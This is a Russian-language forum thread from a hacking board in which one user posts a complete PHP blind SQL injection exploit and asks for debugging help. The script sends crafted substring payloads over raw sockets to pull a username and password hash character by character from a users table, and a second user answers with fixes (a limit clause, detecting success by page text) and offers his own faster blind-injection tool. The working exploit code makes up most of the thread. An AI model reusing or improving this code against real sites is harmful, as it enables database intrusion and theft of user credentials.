Помогите написать сплоит для blind sql-inj

Discussion in 'PHP' started by scorpic393, 23 Mar 2010.

  1. scorpic393

    scorpic393 Banned

    Joined:
    5 Feb 2010
    Messages:
    59
    Likes Received:
    4
    Reputations:
    3
    Вот я написал сплоит blind sql-inj для самопального скрипта

    вот код
    PHP:
    <?php


    $size
    =CheckSize();echo $size."<br>";
    GetLogin();
    GetPassword();

    function 
    GetLogin()
    {
    $char=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

    for(
    $pos=1;$pos<=5;$pos++)
    for(
    $i=0;$i<=26;$i++)
    {
    $url="http://localhost/index.php?id=1&type=art";
    $script="' and substring((select login from users),$pos,1)='$char[$i]'/*";

    $headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
    $headers.="Accept-Language: en-us,en;q=0.5\r\n";
    $headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
    $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $headers.="Connection: keep-alive\r\n";
    $headers.="Host: localhost\r\n\r\n";
    $response=Send("localhost",$headers);
    //echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
    if(strlen($response)==324)
    {
        echo 
    $char[$i];
    }
    }
    }

    function 
    GetPassword()
    {
    $char=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

    for(
    $pos=1;$pos<=32;$pos++)
    for(
    $i=0;$i<=15;$i++)
    {
    $url="http://localhost/index.php?id=1&type=art";
    $script="' and substring((select password from users),$pos,1)='$char[$i]'/*";

    $headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
    $headers.="Accept-Language: en-us,en;q=0.5\r\n";
    $headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
    $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $headers.="Connection: keep-alive\r\n";
    $headers.="Host: localhost\r\n\r\n";
    $response=Send("localhost",$headers);
    //echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
    if(strlen($response)==324)
    {
        echo 
    $char[$i];
    }
    }
    }

    function 
    Send($host,$headers)
    {
    $fsock=fsockopen("localhost",80);
    fwrite($fsock,$headers);
    while(!
    feof($fsock))
        
    $response=fread($fsock,1024);
    return 
    $response;
    fclose($fsock);
    }

    function 
    CheckSize()
    {
    $url="http://localhost/index.php?id=1&type=art";

    $headers="GET $url HTTP/1.0\r\n\r\n";
    $headers.="Accept-Language: en-us,en;q=0.5\r\n";
    $headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
    $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $headers.="Connection: keep-alive\r\n";
    $headers.="Host: localhost\r\n\r\n";
    $response=Send("localhost",$headers);
    return 
    strlen($response);
    }
    ?>
    Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.
     
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Мельком глянул, пока увидел:

    Code:
    $script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
    Это может вызывать ошибку, дело в том что в подзапросах нужно ограничивать число результатов - должен быть строго 1 результат, юзай limit:

    Code:
    $script="' and substring((select login from users [COLOR=DarkOrange]limit 0,1[/COLOR]),$pos,1)='$char[$i]'/*";
    или where userid=1 и т.д.

    Далее:

    Code:
    if(strlen($response)==324)
    {
        echo $char[$i];
    }
    Я так понял правильность выполнения запроса ты определяешь по размеру ответного пакета - лучше определяй по наличию/отсутствию текста в получаемом пакете (если есть такая возможность).

    P.S. лучше попробуй использовать мой скрипт для блинда как сплоент - он оптимизирован, скорость будет выше. Могу помочь заточить его под сплоент если что.
     
    1 person likes this.